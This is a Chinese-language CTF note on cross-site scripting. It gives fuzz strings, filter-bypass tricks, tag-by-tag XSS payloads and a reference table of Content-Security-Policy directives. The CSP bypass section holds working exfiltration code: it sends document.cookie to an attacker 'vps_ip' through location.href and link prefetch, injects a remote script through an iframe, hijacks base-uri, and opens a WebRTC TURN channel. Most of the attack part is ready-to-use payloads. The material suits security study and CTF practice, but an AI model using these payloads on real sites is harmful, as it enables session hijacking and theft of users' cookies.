CTF XSS
这一块接触的不多,这次先当搬运工,之后慢慢补上自己的东西
渗透流程
参考XSS备忘录
fuzz
"'<script javascript onload src><a href></a>#$%^
'";!-=#$%^&{()}<script javascript data onload href src img input><a href></a>alert(String.fromCharCode(88,83,83));prompt(1);confirm(1)</script>
绕过
- 标签之间
先闭合标签 - JS标签内
- 空格被过滤:
/**/
- 输出注释中:换行符
%0a``%0d
- 空格被过滤:
- 字符串中
闭合引号、宽字节 - 文本属性中
把所有的payload转为HTML Markup,其实就是&#加ascii码 src/href/action/xlink:href/autofocus/content/data
等属性直接使用伪协议绕过<a href=javascript:alert(2)>test</a> <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a> //<script>alert(3)</script> <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> <math><a xlink:href=javascript:alert(1)>1</a></math>
- 事件
onload
onclick
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop
具体标签的payload
<a>
<a href=javascript:alert(2)>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==
<script>
<script>alert(1)</script>
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
<script/src=data:text/ju0061vu0061script,u0061%6C%65%72%74(/XSS/)></script>
<script>setTimeout('alert(1)',0)</script>
如果输出是在setTimeout里,我们依然可以直接执行
<button>
<button/onclick=alert(1) >M</button>
<form><button formaction=javascript:alert(1)>M
<button onfocus=alert(1) autofocus>
<img>
<img src=x onerror=alert(1)>
<body>``<var>``<div>
通过事件触发<body onload=alert(1)>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<iframe>
有时候我们可以通过实体编码、换行和Tab字符来bypass<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
<iframe SRC="http://0x.lv/xss.swf"></iframe>
<IFRAME SRC="javascript:alert(1);"></IFRAME>
<iframe/onload=alert(1)></iframe>
CSP概念及绕过
What is CSP
内容安全策略(英语:Content Security Policy,简称CSP)是一种计算机安全标准,旨在防御跨站脚本、点击劫持等代码注入攻击,阻止恶意内容在受信网页环境中执行
具体标准可以查看官网https://content-security-policy.com/
指令参考
Content-Security-Policy头值由一个或多个指令(下面定义)组成,多个指令用分号分隔;
指令 | 值样例 | 描述 |
---|---|---|
default-src |
'self' cdn.example.com |
default-src 是用于加载内容(如JavaScript、图像、CSS、字体、AJAX请求、框架、HTML5媒体)的默认策略 |
script-src |
'self' js.example.com |
定义有效的JavaScript源 |
style-src |
'self' css.example.com |
定义有效的CSS源 |
img-src |
'self' img.example.com |
定义有效的图片源 |
connect-src |
self |
适用于XMLHttpRequest (AJAX) 、WebSocket 或EventSource 。如果不允许,浏览器将模拟400 HTTP状态码 |
font-src |
font.example.com |
定义有效的字体源 |
object-src |
self |
定义有效的插件源,例如:<object> 、<embed> 或者<applet> |
media-src |
media.example.com |
定义有效的音频和视频源,例如HTML5<audio> ,<video> 元素 |
frame-src |
self |
定义加载frame的有效源。在CSP级别2中frame-src 被弃用,取而代之的是child-src 指令。CSP级别3,有未弃用的frame-src ,如果不存在,它将继续遵从child-src 。 |
sandbox |
allow-forms allow-scripts |
为请求的资源启用类似于iframe``sandbox 属性的沙箱。沙箱应用同源策略,防止弹出窗口、插件和脚本执行被阻塞...(此处省略) |
plugin-types |
application/pdf |
设置有效的MIME类型 |
navigate-to |
example.com |
限制文档可以通过任何方式导航到的url。例如,当单击链接时,将提交表单或window.location 被调用。如果form-action 存在,那么对于表单提交,该指令将被忽略 |
来源清单参考
源值 | 示例 | 描述 |
---|---|---|
* |
img-src * |
通配符,允许除data:``blob:``filesystem: 之外的任何URL |
'none' |
object-src 'none' |
阻止从任何源加载资源 |
'self' |
script-src 'self' |
允许从同一个源(相同的方案、主机和端口)加载资源 |
data: |
img-src 'self' data: |
允许通过data协议加载资源(如Base64编码的图像) |
example.com |
img-src example.com |
允许从指定源加载资源 |
*.example.com |
img-src *.example.com |
允许从example.cam 的子域加载资源 |
https: |
img-src https: |
只允许通过HTTPS从任何源加载资源 |
'unsafe-inline' |
script-src 'unsafe-inline' |
允许使用内联源元素,如样式属性、onclick或脚本标记体(取决于它所应用的源的上下文)和javascript: uri |
'unsafe-eval' |
script-src 'unsafe-eval' |
允许不安全的动态代码执行,如JavaScripteval() |
'sha256-' |
script-src 'sha256-xyz...' |
允许内联脚本或CSS执行,如果它的哈希值与标头中指定的哈希值匹配。目前支持SHA256, SHA384或SHA512。CSP级别2 |
'unsafe-hashes' |
script-src 'unsafe-hashes' 'sha256-abc...' |
允许在事件处理程序中启用脚本(如onclick )。不适用于javascript: 或内联<script> CSP级别3 |
'nonce-' |
script-src 'nonce-r@nd0m' |
允许内联脚本或CSS执行,如果脚本(例如:<script nonce="r@nd0m"> )标签包含一个nonce属性匹配在CSP头部指定的nonce |
'strict-dynamic' |
script-src 'strict-dynamic' |
允许脚本通过非“解析器插入”的script 元素加载附加脚本(例如document.createElement('script'); 是允许的)。 |
以下为上面指令可以取的值,多个值可以用空格间隔,若为'none'则只能有一个值。
CSP绕过
location.href
当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上
location.href = "vps_ip:xxxx?"+document.cookie
预解析
一般来说,self代表只接受符合同源策略的url,这样一来,大部分的xss和crsf都会失效。但link标签除外。我们可以通过link标签绕过CSP
<link rel="prefetch" href="xxxxxxx">
(经测试,火狐、chrome均失效)
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);
DNS预解析:
<link rel="dns-prefetch" href="xxxxxxxx">
(经测试,仍然可以绕过Chrome,火狐最新版无效)
这样,我们可以通过预加载,将数据添加到link请求的链接中,或者dns预解析的子域名中,从DNS记录中拿到数据。
iframe
当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效
<script type="text/javascript">
document.write('');
// window.open('https://blog.szfszf.top');
f=document.createElement("iframe");
f.id="pwn";
f.src="./csp2.php";
f.onload=()=>{
x=document.createElement('script');
x.src='https://blog.szfszf.top/xss.js';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);
</script>
用CDN来绕过
blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
Base-uri绕过
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>
WebRTC 绕过 connect-src
如果设置了connect-src这意味着即使可以执行内联js,我们仍然无法向外界通过AJAX或者WebSocket带出数据。但是此时,我们可以使用WebRTC绕过。
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);